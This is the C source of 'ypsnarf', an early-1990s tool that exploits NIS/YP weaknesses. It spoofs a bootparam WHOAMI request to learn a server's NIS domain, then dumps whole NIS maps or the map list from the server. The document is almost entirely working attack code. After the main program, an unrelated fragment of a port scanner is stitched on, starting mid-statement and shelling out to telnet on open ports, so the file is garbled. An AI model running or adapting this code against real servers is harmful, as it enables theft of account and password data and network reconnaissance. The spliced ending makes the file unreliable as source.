
/*
 * ypsnarf - exercise security holes in yp/nis.
 *
 * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik
 * (casper@fwi.uva.nl).
 *
 * Usage:
 *  ypsnarf server client
 *   - to obtain the yp domain name
 *  ypsnarf server domain mapname
 *   - to obtain a copy of a yp map
 *  ypsnarf server domain maplist
 *   - to obtain a list of yp maps
 *
 * In the first case, we lie and pretend to be the host "client", and send
 * a BOOTPARAMPROC_WHOAMI request to the host "server".  Note that for this
 * to work, "server" must be running rpc.bootparamd, and "client" must be a
 * diskless client of (well, it must boot from) "server".
 *
 * In the second case, we send a YPPROC_DOMAIN request to the host "server",
 * asking if it serves domain "domain".  If so, we send YPPROC_FIRST and
 * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
 * "mapname".  Note that you must specify the full yp map name, you cannot
 * use the shorthand names provided by "ypcat".
 *
 * In the third case, the special map name "maplist" tells ypsnarf to send
 * a YPPROC_MAPLIST request to the server and get the list of maps in domain
 * "domain", instead of getting the contents of a map.  If the server has a
 * map called "maplist" you can't get it.  Oh well.
 *
 * Since the callrpc() routine does not make any provision for timeouts, we
 * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
 * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
 *
 * This program uses UDP packets, which means there's a chance that things
 * will get dropped on the floor; it's not a reliable stream like TCP.  In
 * practice though, this doesn't seem to be a problem.
 *
 * To compile:
 *  cc -o ypsnarf ypsnarf.c -lrpcsvc
 *
 * David A. Curry
 * Purdue University
 * Engineering Computer Network
 * Electrical Engineering Building
 * West Lafayette, IN 47907
 * davy@ecn.purdue.edu
 * January, 1991
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <rpc/rpc.h>
#include <rpcsvc/bootparam.h>
#include <rpcsvc/yp_prot.h>
#include <rpc/pmap_clnt.h>
#include <sys/time.h>
#include <signal.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>

#define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd  */
#define YPSNARF_TIMEOUT1 15 /* timeout for initial request */
#define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */

char *pname;    /* program name   */

main(argc, argv)
char **argv;
int argc;
{
 char *server, *client, *domain, *mapname;

 pname = *argv;

 /*
  * Process arguments.  This is less than robust, but then
  * hey, you're supposed to know what you're doing.
  */
 switch (argc) {
 case 3:
  server = *++argv;
  client = *++argv;

  get_yp_domain(server, client);
  exit(0);
 case 4:
  server = *++argv;
  domain = *++argv;
  mapname = *++argv;

  if (strcmp(mapname, "maplist") == 0)
   get_yp_maplist(server, domain);
  else
   get_yp_map(server, domain, mapname);
  exit(0);
 default:
  fprintf(stderr, "Usage: %s server client         -", pname);
  fprintf(stderr, "to obtain yp domain name\n");
  fprintf(stderr, "       %s server domain mapname -", pname);
  fprintf(stderr, "to obtain contents of yp map\n");
  exit(1);
 }
}

/*
 * get_yp_domain - figure out the yp domain used between server and client.
 */
get_yp_domain(server, client)
char *server, *client;
{
 long hostip;
 struct hostent *hp;
 bp_whoami_arg w_arg;
 bp_whoami_res w_res;
 extern void timeout();
 enum clnt_stat errcode;

 /*
  * Just a sanity check, here.
  */
 if ((hp = gethostbyname(server)) == NULL) {
  fprintf(stderr, "%s: %s: unknown host.\n", pname, server);
  exit(1);
 }

 /*
  * Allow the client to be either an internet address or a
  * host name.  Copy in the internet address.
  */
 if ((hostip = inet_addr(client)) == -1) {
  if ((hp = gethostbyname(client)) == NULL) {
   fprintf(stderr, "%s: %s: unknown host.\n", pname,
    client);
   exit(1);
  }

  bcopy(hp->h_addr_list[0],
        (caddr_t) &w_arg.client_address.bp_address.ip_addr,
        hp->h_length);
 }
 else {
  bcopy((caddr_t) &hostip,
        (caddr_t) &w_arg.client_address.bp_address.ip_addr,
        sizeof(ip_addr_t));
 }

 w_arg.client_address.address_type = IP_ADDR_TYPE;
 bzero((caddr_t) &w_res, sizeof(bp_whoami_res));

 /*
  * Send a BOOTPARAMPROC_WHOAMI request to the server.  This will
  * give us the yp domain in the response, IFF client boots from
  * the server.
  */
 signal(SIGALRM, timeout);
 alarm(YPSNARF_TIMEOUT1);

 errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
     BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
     xdr_bp_whoami_res, &w_res);

 alarm(0);

 if (errcode != RPC_SUCCESS)
  print_rpc_err(errcode);

 /*
  * Print the domain name.
  */
 printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);

 /*
  * The maximum domain name length is 255 characters, but the
  * rpc.bootparamd program truncates anything over 32 chars.
  */
 if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
  printf(" (truncated?)");

 /*
  * Put out the client name, if they didn't know it.
  */
 if (hostip != -1)
  printf(" (client name = %s)", w_res.client_name);

 putchar('\n');
}

/*
 * get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
 */
get_yp_map(server, domain, mapname)
char *server, *domain, *mapname;
{
 char *reqp;
 bool_t yesno;
 u_long calltype;
 bool (*xdr_proc)();
 extern void timeout();
 enum clnt_stat errcode;
 struct ypreq_key keyreq;
 struct ypreq_nokey nokeyreq;
 struct ypresp_key_val answer;

 /*
  * This code isn't needed; the next call will give the same
  * error message if there's no yp server there.
  */
#ifdef not_necessary
 /*
  * "Ping" the yp server and see if it's there.
  */
 signal(SIGALRM, timeout);
 alarm(YPSNARF_TIMEOUT1);

 errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
     xdr_void, 0);

 alarm(0);

 if (errcode != RPC_SUCCESS)
  print_rpc_err(errcode);
#endif

 /*
  * Figure out whether server serves the yp domain we want.
  */
 signal(SIGALRM, timeout);
 alarm(YPSNARF_TIMEOUT1);

 errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
     xdr_wrapstring, (caddr_t) &domain, xdr_bool,
     (caddr_t) &yesno);

 alarm(0);

 if (errcode != RPC_SUCCESS)
  print_rpc_err(errcode);

 /*
  * Nope...
  */
 if (yesno == FALSE) {
  fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
   server, domain);
  exit(1);
 }

 /*
  * Now we just read entry after entry...  The first entry we
  * get with a nokey request.
  */
 keyreq.domain = nokeyreq.domain = domain;
 keyreq.map = nokeyreq.map = mapname;
 reqp = (caddr_t) &nokeyreq;
 keyreq.keydat.dptr = NULL;

 answer.status = TRUE;
 calltype = YPPROC_FIRST;
 xdr_proc = xdr_ypreq_nokey;

 while (answer.status == TRUE) {
  bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));

  signal(SIGALRM, timeout);
  alarm(YPSNARF_TIMEOUT2);

  errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
      reqp, xdr_ypresp_key_val, &answer);

  alarm(0);

  if (errcode != RPC_SUCCESS)
   print_rpc_err(errcode);

  /*
   * Got something; print it.
   */
  if (answer.status == TRUE) {
   printf("%.*s\n", answer.valdat.dsize,
          answer.valdat.dptr);
  }

  /*
   * Now we're requesting the next item, so have to
   * send back the current key.
   */
  calltype = YPPROC_NEXT;
  reqp = (caddr_t) &keyreq;
  xdr_proc = xdr_ypreq_key;

  if (keyreq.keydat.dptr)
   free(keyreq.keydat.dptr);

  keyreq.keydat = answer.keydat;

  if (answer.valdat.dptr)
   free(answer.valdat.dptr);
 }
}

/*
 * get_yp_maplist - get the yp map list for  yp domain "domain" from server.
 */
get_yp_maplist(server, domain)
char *server, *domain;
{
 bool_t yesno;
 extern void timeout();
 struct ypmaplist *mpl;
 enum clnt_stat errcode;
 struct ypresp_maplist maplist;

 /*
  * This code isn't needed; the next call will give the same
  * error message if there's no yp server there.
  */
#ifdef not_necessary
 /*
  * "Ping" the yp server and see if it's there.
  */
 signal(SIGALRM, timeout);
 alarm(YPSNARF_TIMEOUT1);

 errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
     xdr_void, 0);

 alarm(0);

 if (errcode != RPC_SUCCESS)
  print_rpc_err(errcode);
#endif

 /*
  * Figure out whether server serves the yp domain we want.
  */
 signal(SIGALRM, timeout);
 alarm(YPSNARF_TIMEOUT1);

 errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
     xdr_wrapstring, (caddr_t) &domain, xdr_bool,
     (caddr_t) &yesno);

 alarm(0);

 if (errcode != RPC_SUCCESS)
  print_rpc_err(errcode);

 /*
  * Nope...
  */
 if (yesno == FALSE) {
  fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
   server, domain);
  exit(1);
 }

 maplist.list = (struct ypmaplist *) NULL;

 /*
  * Now ask for the list.
  */
 signal(SIGALRM, timeout);
 alarm(YPSNARF_TIMEOUT1);

 errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
     xdr_wrapstring, (caddr_t) &domain,
     xdr_ypresp_maplist, &maplist);

 alarm(0);

 if (errcode != RPC_SUCCESS)
  print_rpc_err(errcode);

 if (maplist.status != YP_TRUE) {
  fprintf(stderr, "%s: cannot get map list: %s\n", pname,
   yperr_string(ypprot_err(maplist.status)));
  exit(1);
 }

 /*
  * Print out the list.
  */
 for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
  printf("%s\n", mpl->ypml_name);
}

/*
 * print_rpc_err - print an rpc error and exit.
 */
print_rpc_err(errcode)
enum clnt_stat errcode;
{
 fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));
 exit(1);
}

/*
 * timeout - print a timeout and exit.
 */
void timeout()
{
 fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);
 exit(1);
}

   perror("connect");
  }
 else
  {
  if (!Verbose)
   {
   (void) printf("Host %s, Port %d ",
          HostEntryPointer->h_name, Port);
   if ((ServiceEntryPointer = getservbyport(Port,"tcp")) !=
       (struct servent *) NULL)
    (void) printf(" (\"%s\" service) ",
           ServiceEntryPointer->s_name);
   (void) printf("connection ... ");
   (void) fflush(stdout);
   }
  (void) printf("open.\n");
  if (Hack)
   {
   (void) sprintf(Buffer, "/usr/ucb/telnet %s %d",
           HostEntryPointer->h_name, Port);
   (void) system(Buffer);
   }
  }

 (void) close(SocketDescriptor);
 return (RETURN_SUCCESS);
}





